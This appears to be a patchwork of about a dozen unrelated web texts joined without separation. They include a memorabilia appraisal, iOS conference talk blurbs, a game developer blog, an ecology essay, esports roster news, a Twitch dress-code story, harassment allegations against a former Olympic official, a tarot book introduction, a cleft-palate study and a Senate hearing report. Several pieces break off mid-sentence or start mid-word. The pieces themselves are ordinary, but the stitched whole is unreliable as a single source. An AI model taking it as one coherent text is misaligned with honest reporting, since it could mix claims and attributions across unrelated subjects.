"Without question, this game-worn flannel ranks among the finest our firm has ever handled," vice president Dan Imler said.
Skip to 2:37 for Berman's story:
'A Piece of the Game' Episode 13 MAY 2015 from Don DuPree on Vimeo. [Courtesy of "A Piece of the Game"]
After the TV appraisal, Berman spent almost four months "going back and forth" with his family, trying to decide whether or not to sell.
"We didn't treat it as a $150,000 |
ayout user-interface ios Inside Autolayout
Martin Pilkington Day 1, 15 May starts 11:00 (Track 1) Watch now! Want to figure out Autolayout and discover how to use it? Then hear it explained at Martin's talk! Watch the Skillscast here! Autolayout can seem like a mysterious and confusing technology, powered by dark magic; so much so that some developers question its benefit over the old ways of doing layout. This talk will attempt to demystify Autolayout by showing you how it works behind the scenes, from turning a set of constraints into a layout to how intrinsic content sizes allow you to build content aware and easily localisable UIs with next to no code. autolayout user-interface ios About the speaker... Martin Pilkington Martin is a freelance Mac & iOS developer and the owner of M Cubed Software. He has been writing for Apple’s platforms for 10 years. He started tinkering with Autolayout when it was first released and fell in love with it straight away, so much so that he is currently writing a book on the subject called The Autolayout Guide (due out Spring 2014) ×
14:45 Advanced Grand Central Dispatch Tricks Matias Piipari libdispatch concurrency osx ios Advanced Grand Central Dispatch Tricks
Matias Piipari Day 1, 15 May starts 14:45 (Track 1) Watch now! Interested in finding out more about Grand Central Dispatch and learning best practices in how to use it? Then make sure you're at Matias' talk! Watch the Skillscast here! Grand Central Dispatch (GCD, or libdispatch) is a powerful concurrency framework made available by Apple for iOS and OSX. In this talk, Matias will firstly introduce you to the key GCD concepts and essentials of using it for task based concurrency. He will then take you on a tour of a number of production proven GCD patterns. You will learn best practices to: design your GCD-dependent code to avoid deadlocks and other concurrency nasties
throttle IO bound parallel tasks
wait for completion of a number of tasks run in parallel
implement readers-write locking of resources in a simple way
process disk or network IO ridiculously fast
throttle UI updates using dispatch sources Freely licensed example code is to be made available on GitHub for each of the GCD recipes presented. libdispatch concurrency osx ios About the speaker... Matias Piipari My passion: software product design, technical team leadership and hands-on software development on various platforms. For the past 3+ years I have been building a scientific writing tool Manuscripts, a product with an incredibly ambitious task: change how scholarly content is written and submitted to journals. Before and durign that time, I worked at the Apple Design Award winning Papersapp.com, setting the technical direction for and coordinating software projects involved in development of Papers for the Mac, iOS Windows, as well as the associated web service components. As a developer, I have extensive experience on especially the Apple platforms, Java and serverside JavaScript. I begun work at Mekentosj -- an Apple Design Award and Ars Design Award winning scientific software company which became the Papers unit at Springer in an acquisition at 2012 -- as an iOS and then Mac developer. After 6 months I also took on co-directorship of the UK offshoot of Mekentosj, Livfe Ltd. At Mekentosj I too part in developing reference management and PDF reading application Papers2 for Mac, as well as Papers for iPad. I have strong scientific training: PhD in molecular biology from University of Cambridge, and 1st class BSc in biochemistry from Imperial College London. My graduate research dealt with large scale machine learning methods for identifying gene regulatory signals. ×
15:45 Distractedly Intimate: Your Users on Mobile Cate Huston Day 1, 15 May starts 15:45 (Track 1) Distractedly Intimate: Your Users on Mobile
Cate Huston How do we build for the user's most intimate and most loved device, and allow for the intermittent, partial attention? Building for mobile is not just a change of form factor, and web versus native is one of the least interesting design questions to answer. When everyone has a device this powerful on them all the time, everything changes. Let's talk about what that means. About the speaker... Cate Huston Cate has spent her career working on mobile and documenting everything she learns using WordPress. Now she combines the two as Automattic's mobile lead. You can find her on Twitter and on her blog, Accidentally in Code. ×Dev Blog #16: Progress Update – Game Trailer, Perk System and Character Screen Redesign
We have a bunch of new things to show you this week. As work continues on the strategic part of the game, we give you a preview on the perk system for Battle Brothers. We also have a new weapon, the Flail, and decided that the character and equipment screen should have a layout redesign based on player feedback. But first, the trailer.
Promotional Trailer
Having people grasp at a glance what Battle Brothers is about can be hard when all we have in terms of video are several 20+ minute long commented gameplay clips. Clearly we need a short and snappy trailer to showcase the game to a larger audience and get the idea across in just a minute or so – especially now that the game is getting some more media attention. It’s been overdue for a while, really, but we wanted to complete the combat demo first in order to let you experience the game yourselves instead of merely putting bold claims out there.
The trailer we’re working on will consist of a mixture of both gameplay footage and partially animated drawings to build up atmosphere. To give you a first impression, here is the non-animated version of one of the scenes that will be shown in the trailer. If you’re interested, you can follow the progress more closely in Paul’s art thread on our forums.
Perk System
A key component of the strategic gameplay will be the character development of Battle Brothers by gaining experience and leveling them up, rpg style. With each levelup, a Battle Brother will have the opportunity to select an additional “perk”, a passive skill that confers some advantage and allows for specializing in some way. These perks can have a variety of effects and we’re still working out the design of all the final perks. When designing them, we have several concepts in mind.
First, we don’t want a perk to simply increase a basic character stat like hitpoints or stamina that can otherwise already be increased on levelup. That’s just boring. Instead, we want them to offer a unique effect that isn’t otherwise accessible.
Second, we want them to have a meaningful impact on the game. Perks should change the way you play with any particular Battle Brother, and the way to achieve this is by having perks be strong enough to open up new tactical avenues instead of merely relying on single digit percentage modifiers. There should be a feeling of accomplishment when gaining a level and anticipation when selecting a new perk. Players should then rush to the next battle to try out the newly aqcuired perks in action. It would be terribly frustrating to reach the next level and then get the feeling that the perk does absolutely nothing for you.
Third, all perks have to be viable choices. Not for every individual Battle Brother, of course, since we want to encourage some specialization, but in general. There must be no instant-picks and no-brainers. This might be the hardest to achieve and will take a lot of balancing, tweaking and time; many a game fails at this this with skills out of balance so much that players would have to be willing to put themselves intentionally at a disadvantage by not picking some of them up every time. Still, we really want people to choose perks according to their individual playstyle and tactics and not because they read in some internet forum which perk is the indisputably strongest.
Perks will likely be organized into several thematic trees (e.g. mobility, offense) and individual perks may require certain other perks to be picked first. How exactly the perks will be organized is yet to be determined, though. To give you an idea of what a perk might look like, here are a few examples that may or may not end up in the game like this:
“Berserk” – Recover 4 AP when killing an enemy. Can only occur once per turn.
“Pathfinder” – Reduces movement AP costs on all tiles by 1 down to a minimum of 2.
“Coup de Grace” – Inflict additional damage against targets that have been stunned.
“Artful Dodger” – Ignore the Zone of Control.
Character Screen Redesign
One of the more frequent points of feedback from the combat demo was the character screen layout, and how players needed to constantly switch tabs between seeing all Battle Brothers and the Stash when equipping their party, never able to see both at the same time. We agree that this is less than ideal, and we’re about to change it.
We took the layout of the character screen back to the drawing board and tried to come up with a solution. The minimum resolution we want to support is 1024×768 – and that really doesn’t leave a lot of space. On the other hand, doing more than one layout (and later on, skinning it) for multiple resolutions isn’t a great use of our time, either. Our solution is the mockup below; it may look a bit congested at first, but it does allow for showing the list of Battle Brothers and all the other tabs at the same time. Even better, it can now scale to the right with increased screen resolution, making use of additional screen space without us having to do an extra layout. Do mind that this is still work in progress, though, and may yet change further.
The Flail
Another week, another new weapon added to the game. This time it is the Flail, a separate striking head attached to a handle by a chain. In the game, the Flail’s damage varies greatly with each strike, making it perhaps the least predictable weapon currently. It has a reasonable effectiveness against armor and, like all weapons, comes with a unique tactical quirk.
The Flail’s chain and striking head can easily bend above and around shields, rendering their normal defensive bonus ineffective. Using the second skill of the Flail, even a Shieldwall offers little protection against it, making it a great weapon against heavily shielded opponents in tight formations. The flipside is, of course, that the Flail comes with no defensive skills and is outperformed by some other weapons when against an opponent without a shield.
Be a Bro and support us on IndieDB!
Lastly a quick shoutout to all our readers: Download the Battle Brothers Demo and show your support by rating us on IndieDB!“Man does not live by detritus alone.”
Overshoot, William Catton
One of the unique capabilities that set Homo Sapiens apart from all the rest of the animal kingdom is our mastery of tools. As a species we are able to expand the carrying capacity of our environments through the use of technology. This has been going on for a very long time. The chart below, reproduced from Catton’s Overshoot, provides a fascinating glimpse into the major milestones of mankind’s technological developments and how those have had a direct effect on our population numbers. The chart starts at the dawn of pre-history and registers the first population increase 35,000 years ago when the same inheritable characteristics we recognize as human today was established. The first major technological breakthrough after that period is the dawn of agriculture where the cultivation of plants allowed the population to increase close to 1,000% in a mere 160 generations, counting each generation as 25 years. The next 160 generations saw the development of metallurgy and the plow, increasing human numbers another 250%. The chart ends in 1975 with a total world population of four billion human beings recording a 200% increase in population numbers over only four and half generations. Though the chart ends there from the perspective of when this is being written in 2014 we could add one more line; 1.6 generations later the total human population is over 7.2 billion, almost double what it was in 1975.
This is just one more indication that business as usual will not be continuing much longer. How many more doublings of the total population are even conceivable?
The important take away from this analysis for our purposes is how historically technology performed the role of increasing the carrying capacity of our environments. The total carrying capacity could have been said to be the product of resources times technology. Too much of a good thing, victims of our success, today we find that the technology we are using is actually shrinking our carrying capacity. Today the relationship seems to be one of division so that total carrying capacity is equal to resources divided by technology. This is worth a moment of careful contemplation. Malthus was concerned with the problem of expanding human population butting its head against fixed limits but in the real world we are discovering the expanding human population is butting its head against shrinking limits.
Among those who think about the ecological crises it can be heard that there was roughly one billion humans on earth before the industrial revolution began and so we can expect there to again be one billion when the depletion of fossil fuel runs its course. While this is a horrifying picture if the die-off does not unfold gradually, it is scientifically wildly optimistic because it fails to take into account the damage done to the natural environments by the population blooming in our Age of Exuberance. The most probable total population some centuries hence just might be considerably smaller than one billion. Just how much smaller is a point of contention which need not concern us here. Even if it is three or four times as many, the point remains: a population bottleneck is a frighteningly real possibility.
Population combined with our technology has grown so large it is as if a whole new species has evolved, one which is very much capable of altering the biosphere as a whole. This new species was christened Homo Colossus by William Catton, capturing the essence of the challenge our ecological analysis of modern industrial civilization presents. To understand the powerful metaphor requires that we learn to look at man’s tool use from another perspective. Normally when we think of our use of tools we consider them as means of adapting the environment to our human needs; we plant a farm of crops to feed ourselves, we warm our houses to fend off the cold. It is equally valid to propose that human tool use adapts humans to diverse environments. Our tools are somewhat like prosthetic devices we add to our bodies; we don a coat and now survive in environments that were formally too cold, we strap on a plow and fertilizer spreaders and find we can grow crops where previously the soil was too poor.
Our tools act as prosthetic devices; the cup of a mining scoop acts as an extended hand. At some point these prosthetics crossed the line into gigantism where sheer size began affecting whole ecosystems – a mountain removed here, a river diverted there. Not many people appreciate the scale at which human aspirations are unfolding all across the earth, all day, every day. That mining scoop just mentioned is capable of lifting 325 tons of “overburden” with every bite it takes into the earth looking for coal. This is not just a multiplication of men with shovels but a qualitatively different event altogether. Consider a giant dump truck used in mining operations capable of hauling 380 tons of earth in a single load. They weigh 1,375,000 lbs. rolling on tires that are roughly 13 feet tall and the tires alone cost $50,000 to $60,000 each – everything about these modern machines is giant.
I have used the examples of mining operations in illustrating the gigantism of Homo Colossus deliberately. To feed their enormous appetites has required that we dig deep into finite stocks of minerals, extracting and using up resources that might otherwise have been left for prosperity. Of all the occult substances found deep in the nether regions of the earth none can hold a candle to the devil’s blood, oil. Here, in decaying carbon material, Homo Colossus found its preferred food. Ecologically we can classify it as a detritus ecosystem for these are the ecosystems that feed on decaying carbon materials. These are the ecosystems that feed off dead biomass, breaking down the complex arrangements of molecules and releasing their elements back into the cycles of material flow. These are also the ecosystems that are prone to the population overshoot and collapse we looked at last week.
It is time to take a step back and ask ourselves, what does all this mean? This blog is not a substitute for a university ecology class; this is an exploration of mindful ecology. What do these ecological concepts mean for a compassionate, caring individual, our families and our societies?
I think most people fundamentally want to know they are doing good by the world. They want what is best for their children and loved ones. A consensus has been built up that business as usual was leading all of us to a good place. Progress was hard work but the sacrifices were worth it; from the second job to help the first child of this family get through college, to cutting down old growth forest to build a new settlement. The difficult unequal social arrangements of the modern world have been easily accepted largely because the promise was implied that if we could just lift the standard of living for the rich high enough, the process would inevitably improve lives for the poorest of peoples as well. The justification for consumerism as culture is that only through development can the desperate suffering of the third world be improved. If they keep working at it, the almost unspoken justification for our consumer lifestyles runs, they will someday be just like us.
In practice the third world is strapped with debt to first world banks for expensive first world infrastructure projects built by first world companies. Since the poorer country is able to borrow only so much, the rich governments of the world “give” them aid dollars with the stipulation that they can only be spent on “infrastructure improvement” projects. Confessions of an Economic Hit Man by John Perkins gives a small peak into what is going on. This is how the wealth pump of empire works, pumping wealth from the peripheries into the imperial core. The companies and banks of the overdeveloped world profit but the question remains, did the recipient country benefit as well? There is no simple answer. In some cases the graft runs rampant and the whole adventure is one of abuses to land, animals and people. In other cases things are properly constructed but because the rest of the supporting infrastructure is missing the benefits are much less than what had been promised. In other cases real benefit is given, improving the daily lives of the poor by creating hospitals, education, sanitation, and widespread literacy.
In Western culture with its roots in ideals of Christian charity, consumerism acted as the outer form of something more important; it funded the cornucopia of technological progress. There has been every reason to believe in this secular god, progress. The so-called Green Revolution did manage to feed many additional billions of people since it began a few decades ago. We set foot on the moon, scanned the brain, and shared it all with TV, radio, computers, the internet – it is all very real and impressive. We are grateful and expect it will continue. Ecology states unequivocally, ‘No, this pattern of consumption will not continue.’ It would take multiple earths to bring the underdeveloped world to the state of industrialization found in the overdeveloped world. The implied promise behind the whole consumer shtick is shown to be bust, an impossibility on a planet of seven billion people. Holding out hope that it will happen someday is now nothing more than cold cruelty.
There is a meaningfully sustainable degree of technology that we can all hope future generations may find. Today what we see are the deprivations of those suffering from not having enough infrastructure and technology to lead decent human lives at one end and those suffering total domination by the machine at the other. There must be a middle way of using appropriate technology sized to a human scale if our wisdom can find it, a way to avoid the extremes of underdevelopment and overdevelopment.
Looking around us today, this is not the future we ordered when we began this industrialized consumerism; collapsed fisheries and dead zones haunt our oceans, the land is scarred with cesspools of heavy metals and hot nuclear wastes, even the very air we breathe has become toxic to the stability of climate, all the while causing the sixth mass extinction; ghoulishly wiping out an estimated 200 species every day.
Looking around today many good people are questioning the formerly unquestioned foundation on which this whole thing depends: that human progress is technological progress. This vision was sold to us by those who profit from our entrapment. I drive a car, I contribute to global warming. I buy food from a chain grocery store, I contribute to topsoil loss. On and on it goes right through the litany of horrors that is a typical day in the overdeveloped world when seen through the eyes of critical ecological analysis.
What happens to a culture that loses its most fundamental belief? When the justification for the blood, sweat and tears of generations no longer works? I certainly do not know. We are seeing the process play out all around us. I do know that psychologically seeing through the norms of the overdeveloped world’s culture can be a most unpleasant waking up. To retain strength and to honor that which is decent in human beings is the challenge. It is important to distinguish between the bitterness needed for dismantling Homo Colossus from any dispersion we might be tempted to cast on Homo Sapiens. Given the chance I am pretty sure the mosquitoes and the lions, the elephants and the blue-footed booby would have used the energy bonanza in a way not all that different than we did. Perhaps, as the Native Americans teach, we are among the youngest of our animal brothers and sisters: still intoxicated with the enthusiasms of youth and with plenty left to learn.We’re excited to launch the very first official Speed Run Contest for Chariot today.
The Chariot Speed Run Contest is a worldwide contest that will put the best speedrunners to the test. What speedrunner or speedrunner duo will manage to score the best time on The Prismatic Eye ( 2-5 ) and win the big loot?
1st place: $1000 for the team and an official Chariot T-shirt for each team member.
2nd place: $500 for the team and an official Chariot T-shirt for each team member.
3rd place: An official Chariot T-shirt for each team member along with multiple promotional items
Timeline:
The Chariot Speed Run Contest starts February 26th 2015, Ends April 6th 2015 11:59 PM EST. Winners will be contacted directly April 7th 2015 and publicly announced on April 10th 2015
To be eligible:
The entry must show level 2-5 in Speed Run mode
The Speed run can be completed solo or in co-op.
The Speed run must be recorded from start to finish
The team must have sent a link to their recording at supportchariot@frimastudio.com before April 6th 11:59 PM EST.
At least one of the team members must be 18 years old or older
At least one of the team members must have access or be able to create a PayPal account
Additionnal rules:
The entry can be recorded and archived on Twitch or directly uploaded to Youtube
In case of a draw by a millisecond mark for any of the positions, the prize for that position will be split equally
If the Chariot team has sufficient proof that the Speed Run was not recorded on a legitimate version of Chariot or that the integrity of the video was compromised by editing, the entry will be disqualified
Current or former Frima employees cannot participate in this contest
This is the first contest of this kind for Chariot, we hope you'll enjoy!
If you have questions or want more information on the contest, please feel free to contact us at supportchariot@frimastudio.com.FaZe replace Lui with Carpe, add Surefour on bench, and head to bootcamp for Contenders
With the first games of Overwatch Contenders Season One less than a week away, it was only a matter of time before teams would be forced to finalize and declare their rosters. Earlier today, the team pages for the teams participating in Overwatch Contenders went up on the Contenders website, effectively announcing the rosters of all teams that hadn't yet done so. Among the most significant changes were those for FaZe Clan, which included a new DPS, a talented sub, and a new coach.
Gone is Lui from the FaZe roster, and in his place is Carpe, former DPS of Selfless Gaming and BK Stars. Similar to how the team immediately signed its new players during the last roster shake-up before Season Zero, Carpe is already signed to the organization, according to sources close to the team. Carpe will be joining the rest of the FaZe roster as they travel to bootcamp on August 17th, only a few short days before their first match of Season One.
Currently listed under the substitute role, Surefour is reportedly not joining the team for the bootcamp. Presumably he will be coming off the bench to play the DPS role from time to time. With the state of Cloud 9's North American roster unknown after their failure to qualify for Season One and the acquisition of Laser Kittenz by the organization, there has been much speculation over where Surefour, as well as many of his teammates, will go. Leaked chat logs on Taimou's stream seemed to have hinted at him joining the roster of EnVyUs, although his place on the FaZe roster appears to suggest differently.
Coaching this squad will be former Cyclowns coach iuKeEe. He will be hoping to translate the experience from coaching a team that was once one of the top in Europe into success for the mixed region team. It is currently unknown whether or not iuKeEe will be joining his new roster during their bootcamp, but regardless he will be attempting to make an impact right away. With the whole team finally in North America together, at least for now, there will be no excuses for a sub-par performance this time.
The full FaZe Clan roster for Contenders Season One will be:A Czech secondary school has received dozens of letters demanding that a pupil should be expelled because she is a Muslim.
The headmaster of a secondary school in the northern city of Teplice in the Czech Republic has received dozens of letters demanding that a second year student at his school should be expelled because she is a Muslim. The student, Eman Ghaleb, comes from Yemen and has been living in the Czech Republic since she was five. She is a Muslim believer.
“The calls to expel this student are absolutely nonsensical and unacceptable. To demand that I should expel someone from our school for his religious belief is unreal,” said the headmaster Zdeněk Bergman.
“I am a Czech and I fear for my country and its future. Our children and our young people are our future. I do not want my children to be threatened by Muslims and by Islam. This is why I call on you not to be indifferent to our children. You must defend them from Muslim and Islamic propaganda,” says a typical letter, one of many received by Mr. Bergman.
The authors of the letters complain that the Muslim pupil is disseminating “Islamic propaganda”. The school has organised various events, including a “Muslim weekend” during which several muslims living in the Czech Republic introduced their countries. A specialist from the Oriental Institute of the Czech Academy of Sciences gave a lecture. Apart from a Muslim weekend, the Teplice school has also organised a week of Jewish culture, Vietnamese days and has invited representatives of Christian churches to give lectures.
“I will adhere to a thought contained in the Talmud,” said Headmaster Bergman. “You will not join the majority if it commits evil.”
SourcePopular game streaming site Twitch.tv is asking its onscreen personalities to start buttoning up or begin shipping out.
The site updated its rules of conduct on Monday to more explicitly reflect its desire that people on the site avoid shooting videos in suggestive items -- items like "lingerie, swimsuits, pasties, and undergarments.”
Twitch, which Amazon bought last August for just under $1 billion, is a platform that allows users to broadcast live video of themselves playing popular games.
Companies like "Wizards of the Coast" use it to broadcast massive tournaments of the popular "Magic: The Gathering" card game. But Twitch just as easily allows viewers to tune into individuals ripping through raids in "World of Warcraft." It boasts an audience of more than 60 million people.
Twitch’s PR director, Chase (“just Chase”), was quick to clarify in an email to The Huffington Post that this isn't a new policy, simply a clarification to an existing one.
“It is clarity on a long standing [policy] which is rooted in common sense and meant to create an open, supportive, safe environment for all gamers,” Chase told HuffPost. “Most broadcasters already assume things like broadcasting naked or in undergarments are not appropriate since we rarely have to deal with issues related to attire.”
Some supported the update:
Pretty funny that people are actually going to stop using twitch due to new dress code. Sweet. Cleaning up the cancer. — Pat (@PatrickOMFG) October 28, 2014
Others called it “slut-shaming”:
The move away from “sexy” broadcasters comes at a particularly fraught moment in gaming culture, with #GamerGate bringing a wide array of gender and sexuality issues into the spotlight.
Meg Turney, an on-screen personality at a popular culture site, was forced to take down this picture from her Twitch page shortly before the rule change was made public. None too pleased, she tweeted:
Despite her frustration, Turney told HuffPost that she doesn’t feel the rule is unfair to women -- just unfair in general.
“If someone has a big push-up bra and a low-cut shirt while they play [League of Legends] or a guy streams shirtless, who cares?" said Turney. "Most of the streamers I know of who are going to be affected by the change are male."
That's because the rules also explicitly address how male streamers can get in trouble: by exposing "full nude torsos" or drawing undue attention to their bare chests.
"Before the rule change, female streamers could have been unfairly targeted, but now it's going to be a lockdown across the board," Turney said.
In other words, Turney believes any concerns about an imbalanced approach to men and women may be unfounded.
“It's not really slut-shaming, it's more like body policing. Or enforcing a stricter dress code," Turney added. "I just think the whole situation is silly.”A woman who accused former Canadian Olympic Committee president Marcel Aubut of harassment has revealed her identity in an exclusive interview with CTV News Chief Anchor Lisa LaFlamme.
Leanne Nicolle, the former executive director of the Canadian Olympic Foundation, says that Aubut’s alleged harassment “shattered” her self-esteem.
Now, she says she’s strong enough to speak out. Recent high-profile accusations of harassment have also inspired her to tell her story.
Nicolle says that she was warned about Aubut before she even started the job in 2013, although she didn’t think it would affect her.
It all began, she says, with compliments. “A lot of them were on my beauty or on my size or my shape,” she adds. “Some of them were on the fact that I was smart.”
At first, Nicolle saw the compliments as benign, she says. “And I really just thought, here's this old guy caught in some historical era.”
Then came the 2014 Winter Olympic Games in Sochi, Russia, where she and her staff were working “crazy hours” -- mostly, she says, to meet Aubut’s demands.
Nicolle says Aubut yelled at employees and “constantly” berated them, to the point that they were broken.
In addition to the alleged verbal harassment, Nicolle says there was an inappropriate “physical connection.”
“You know, just inappropriate hugging and you knew it came from somewhere else,” she tells LaFlamme.
The alleged harassment left Nicolle considering whether to quit her job, struggling to sleep and experiencing nightmares. “My self-esteem was shattered,” she says.
Nicolle adds that she felt angry and scared. “Like how dare you take this from me, take my authenticity, my truth, on one side,” she says. “But on the other hand, I was so afraid. I was so scared. I was scared of him.”
Nicolle says she felt alone, in part because the coworkers who knew what was happening were also affected by the alleged abuse.
“They were being harassed and they were being yelled at all the time and living in constant fear of reprisal,” she says. “Constant fear. Like the whole organization was based in fear.”
Nicolle says that “recent events” in the world related to harassment and sexual harassment are part of the reason she’s speaking out now, two years after she anonymously accused Aubut of harassment, along with two other women.
Aubut issued a statement days after the accusations became public stating that he was stepping down from his position at COC due to allegations “by people who accuse me of intentions that I never had.”
“Although I assume full responsibility for my effusive and demonstrative personality, I would like to reiterate that I never intended to offend or upset anyone with my remarks or my behaviour,” he said.
The allegations against Aubut were never tested in court. CTV News reached out to Aubut for comment but he declined.
Nicolle says that she just wanted Aubut gone. “I wanted a safe place to work,” she says.Back to Hermetica.info
Tarot Bibliography
(The Tarot section begins about halfway down the page)
Tarot Links
(Section L of Western Mystery Tradition Links)
Artist Credit: Excalibur, by Erulian (Karel Hamm)
Tarot as a Counseling Language:
Core Meanings of the Cards
© Bradford Hatcher, 2015 (Rev 8-15)
Index
Introduction
This book is intended for a narrower range of readers than the much broader set of Tarot aficionados. As the title suggests, this will be an attempt to re-envision the study in a way that is specifically useful in counseling, and to better understand the core meanings of the cards in these terms. Since effective counseling assumes something like agency or self-directed behavior, the aspects of Tarot that concern fortune-telling or predicting the future will be dropped from this study. But the goal here is more ambitious than that. The Tarot, as a system of symbols or a symbolic language, has something to offer to an even more rigorous skeptical inquiry, almost in an anthropological sense, and certainly in a psychological one. It is a cognitive tool kit, and descriptive of an attitudinal skill set. There is little in print that is dedicated to such an approach. The intended reader here is an intelligent skeptic, with an unabridged set of critical thinking skills. This means that there will also be other casualties in this analysis, such as "new age" metaphysics and fanciful misinterpretations of Jungian psychology. Number symbolism will remain, in some detail, but numerology will be dismissed. Religious symbolism and iconography, where not completely gratuitous, might be treated as symbolic of psychological processes rather than analogs of metaphysical realities. Such a purging of the field, done for the sake of readers with more rigorous intellectual standards, may prove offensive to many true believers, but this book is not written for market, or to profit from these. A positive review in Skeptic Magazine might be too much to hope for, but who knows? Baby steps. However, it is sincerely hoped that enough valuable information about the cards will be presented here that even readers pursuing more conventional approaches, and especially those writing their own books on the subject, can still come away from this thinking that their time here was well spent. One should not, however, expect this to be an easy read, and one might suspect the author of taking some delight in sending the reader to the dictionary. This is for the education, not entertainment, barring the occasional bit of dark humor.
The Tarot presented here is simply a system of symbols that makes up an interesting language that is useful in talking about attitudes and mental states. The approach for our purposes here is narrower than usual in a couple of ways, and sets aside a number of associations and structural dimensions that might be thought peripheral, extraneous or irrelevant. This might be done with a dismissive attitude. Many of these set-asides will have allies and champions who regard them as absolutely essential. Among the offended may be strict adherents to the Golden Dawn approach, to which this work adheres with at least some degree of fidelity. This is because it is asserted here that this system contains errors: not a lot of errors, but a few in important places. It may well be asked where the qualifications are to make such corrections, or where the ancient authority lies. But this is merely a reluctance on the part of the author to continue such errors under the watchful eyes of skeptics, who are often armed with logic and even common sense. It is important to understand that actions taken here are for the purposes stated here, and there is no way to stop anybody who wants to add any deletions back into their personal system.
It is also important to note that there will be ideas presented here, and mentioned in matter-of-fact tones, that sound suspiciously like mystical or even religious experiences. But skeptics ought not concern themselves overmuch, as these experiences are simply part of the inherited human lebenswelt and even good scientists can be subject to having them. No theories of objective reality will be constructed thereon. Wherever the word psychic is used, it refers to the subjective mental world and not to the paranormal. No mention will been made of how or whether the cards work. This will be left to the readers or their querents. It would be nice to approach this subject with the same intellectual rigor that is at last being seen in studies of Tarot history, at least as far as historical evidence allows, but standards of scholarship must necessarily be different for history than for meanings. Rigorous standards are simply not as applicable when the exercise is primarily creative. Perhaps the best that can be hoped for is the honest voice of the child who calls out in mid-parade: ‘Why is the Emperor naked?’
Mary Greer identifies 21 reading styles or ways to read Tarot cards (21 Ways, p. 271). Many of these are outside the purview of this book. Only a few of these approaches will fit the language model that is being explored here. Others remain important, however, as vehicles for subjective experience. In a reading, we want the cards to take us on journeys, to take us as far as necessary from any idea of consensual, central or core meanings to get the information that we are looking for. In cultural studies and depth psychology we want to explore the symbolisms and mythologies in all of the rich |
-The findings showed that there are 72,637 cases of unrepaired cleft lip and palate in India.
India has more than 72,000 children and adults with unrepaired cleft lip or cleft palate, says a new study significantly highlighting the unmet need for cleft lip and/or palate (CL/P) care in India.The findings showed that there are 72,637 cases of unrepaired CL/P in India.The percentage of individuals with unrepaired CL/P who were older than the respective target age group of 1-2 ranged from 37.0 per cent in Goa to 65.8 per cent in Bihar.Also, infants in low and middle-income countries face significant barriers to treatment, leading to prolonged disfigurement, social stigma, speech impairment as well as trouble of feeding food that can result in malnutrition and death.Safe, timely and effective surgery can result in successful outcomes, the researchers noted, in the paper published online by JAMA Facial Plastic Surgery.However, poor states like Bihar, with less health care infrastructure were found to have with exceptionally high rates for the surgery.The rate of unrepaired CL/Ps ranged from less than 3.5 per 100,000 population in Kerala and Goa to 10.9 per 100,000 population in Bihar."The results describes the prevalent unmet need for cleft surgery in India by each state and includes patients older than the surgery target ages of 1 and 2 years for cleft lip and cleft palate repair, respectively," said Barclay T. Stewart from the University of Washington.Substandard nutrition and a lack of prenatal care are known to be the likely reasons for these congenital disorders."Significant efforts must be made to relieve the prevalent unmet need and strengthen health care services to meet the demand of new cases so that the surgical backlog does not grow," Stewart added.For the study, the data were used from patients who received care at Operation Smile programmes -- a non-government supported campaign to provide surgical care to affected babies, indicators of surgical care capacity, wealth, and infrastructure across different states -- in 12 low-and middle-income countries from June 1, 2013, to May 31, 2014.Using state-level economic and health system indicators, the total number of unrepaired CL/P cases in each state was estimated.The Senate Judiciary Committee on Tuesday suddenly postponed a hearing that would have centered on the so-called Trump dossier and several of the people involved in the June 2016 Trump Tower meeting that is currently in the news.
Iowa Sen. Chuck Grassley, the chairman of the committee, made the decision to postpone the hearing, which was scheduled for Wednesday.
It is not entirely clear why the hearing is being postponed, though one of the main witnesses, Glenn Simpson, the opposition researcher behind the dossier, was reportedly planning to skip the event.
A spokesperson for the committee said that the hearing is being postponed as Grassley and California Sen. Dianne Feinstein work to schedule additional witnesses and obtain relevant documents.
The committee did not say whether Simpson will be subpoenaed.
Grassley has pressed Simpson and his firm, Fusion GPS, about its involvement in the dossier, which was prepared by former British spy Christopher Steele. Fusion GPS hired Steele after being hired by a Democratic ally of Hillary Clinton’s to investigate Trump’s ties to Russia.
Wednesday’s two-part hearing was to focus on failures in the Foreign Agents Registration Act, the law which requires lobbyists and consultants working for foreign governments to disclose their activities.
Simpson, a former Wall Street Journal reporter, was invited to take part in a second panel along with Bill Browder, a London-based financier who helped push through the Magnitsky Act, a sanctions bill passed in 2012.
Last year, well before Simpson’s involvement in the dossier was known, Browder filed a complaint with the Justice Department alleging that the opposition researcher failed to properly file under FARA.
Fusion GPS had been hired to conduct opposition research against Browder as part of a lobbying campaign against the Magnitsky Act, which is named after Browder’s attorney, Sergei Magnitsky.
The Russian government vehemently opposes the bill, which blacklists Russian businessmen involved in human rights abuses.
Browder’s work on the Magnitsky Act, and his FARA complaint, have received renewed attention following the publication of the Steele dossier as well as the June 2016 Trump Tower meeting.
Three of the attendees in that meeting were named in Browder’s complaint.
They are Natalia Veselnitskaya, a Russian lawyer, Rinat Akhmetshin, a Russian-American lobbyist and former Soviet military officer, and Anatolia Samochornov, a translator who worked as a State Department contractor until September.
The three Russians were affiliated with a non-profit group called the Human Rights Accountability Global Initiative Foundation (HRAGIF).
The group claimed to be an advocate for U.S. adoptions of Russian children, which were blocked by Russian president Vladimir Putin as retaliation for the Magnitsky Act. But in reality, the group and its trio of operatives, were interested in rolling back Magnitsky.
Browder told The Daily Caller in January, just after the dossier was published by BuzzFeed, that he questioned the veracity of the document because of Simpson’s involvement.
The overlap between the dossier and the anti-Magnitsky push has led some Trump supporters to question whether the Trump Tower meeting was an attempt to set up or compromise the Trump campaign.
Donald Trump Jr. agreed to the meeting after being told by an acquaintance that he would be provided with derogatory information about Hillary Clinton. Trump Jr. was told that the information was being provided with the backing of the Russian government and by a “Russian government attorney.”
A lawyer for Fusion GPS has said that the firm was not aware of the meeting before it took place.
Follow Chuck on TwitterFew decades ago every single car from these photos was considered as a future of transportation. Today we can see them on car humor websites. Concept car yesterday, material for car humor and jokes today.
Here are some of the strangest looking car concepts. Designer of this car probably never expected to see his vision on car humor website.
Cadillac Cyclone concept was influenced by airplane design.
GM XP-21 Firebird I concept car only seats a driver inside similar to a jet fighter cockpit.
GM Runabout three-wheel hatchback concept
Lincoln Futura concept car built by hand in Italy
Another three-wheeler – Ford Gyron
This is not a UFO, this is Pininfarina Ferrari 512S Modulo, concept car presented in 1970.
Ford Seattle-ite XXI concept car was very futuristic for its era. Some of the features were: trip computer, navigation and traffic information systems, fuel cell power and steer-by-wire technology.
Simca displayed the Fulgur concept during the 1961 Chicago car show. This was the first model to include no-wheels hovering, atomic power, and radar.
